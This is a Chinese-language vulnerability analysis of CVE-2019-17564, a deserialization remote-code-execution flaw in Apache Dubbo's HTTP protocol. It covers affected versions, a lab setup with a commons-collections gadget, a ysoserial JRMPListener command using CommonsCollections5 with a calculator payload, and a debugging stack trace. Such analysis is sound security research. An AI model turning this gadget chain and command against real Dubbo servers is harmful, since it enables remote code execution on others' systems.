作者: Evi1hui@ QAX A-TEAM
原文链接:https://mp.weixin.qq.com/s/dp_I-MyAXdLm4IR2Y2PqEQ

Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案,以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。

Apache Dubbo支持多种协议,官方推荐使用 Dubbo 协议,CVE-2019-17564是属于Apache Dubbo HTTP协议中的一个反序列化漏洞,该漏洞的主要原因在于当Apache Dubbo启用HTTP协议之后,Apache Dubbo在接受来自消费者的远程调用请求的时候存在一个不安全的反序列化行为,最终导致了远程任意代码执行。

背景

Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案,以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。

Apache Dubbo支持多种协议,官方推荐使用 Dubbo 协议,CVE-2019-17564是属于Apache Dubbo HTTP协议中的一个反序列化漏洞,该漏洞的主要原因在于当Apache Dubbo启用HTTP协议之后,Apache Dubbo在接受来自消费者的远程调用请求的时候存在一个不安全的反序列化行为,最终导致了远程任意代码执行。

影响版本

  1. 2.7.0 <= Apache Dubbo <= 2.7.4.1
  2. 2.6.0 <= Apache Dubbo <= 2.6.7
  3. Apache Dubbo = 2.5.x

漏洞搭建

步骤:

  1. 环境搭建:(https://github.com/apache/dubbo-samples

  2. 脱离出java/org.apache.dubbo.http模块

  3. 开启zookeeper

  4. 加入一个恶意的GadGets(JDK7u21或使用pom.xml 开启一个gadget依赖,比如:commons-collections-3.1)

环境搭建

(脱离出dubbo-samples-http)模块

/Users/Evilhui/Documents/A-Team/lab-env/apache-dubbo/dubbo-samples/java/dubbo-samples-http/src/main/java

修改maven pom.xml 配置:

1.加入Gadgets:

<dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.1</version></dependency>

2.修改dubbo版本至受影响版本

<dubbo.version>2.7.3</dubbo.version>

开启zookeeper

下载地址:https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz

修改配置文件:

命令行替换:

sed 's/\/export\/crawlspace\/mahadev\/zookeeper\/server1\/data/\/tmp\/data/' zoo_sample.cfg > zoo.cfg

生成数据目录:

mkdir /tmp/data

开启zookeeper:

./bin/zkServer.sh start

漏洞调试

首先在servlet处打桩:

使用ysoserial生产序列化数据:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 "open /Applications/Calculator.app"

写一个序列化数据类:

执行PoC

开始调试:

命中一路进入:

进一步的跟进发现在org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation方法中进行了不安全的反序列化。

堆栈展示:

doReadRemoteInvocation:144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi)
readRemoteInvocation:121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
readRemoteInvocation:100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handleRequest:79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handle:216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http)
service:61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet)
service:790, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:198, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:496, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:803, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1468, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

参考资料:

  1. https://mp.weixin.qq.com/s/pHnhHMNArAiZPVGR1btZIg

  2. https://qiita.com/shimizukawasaki/items/39c9695d439768cfaeb5


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1128/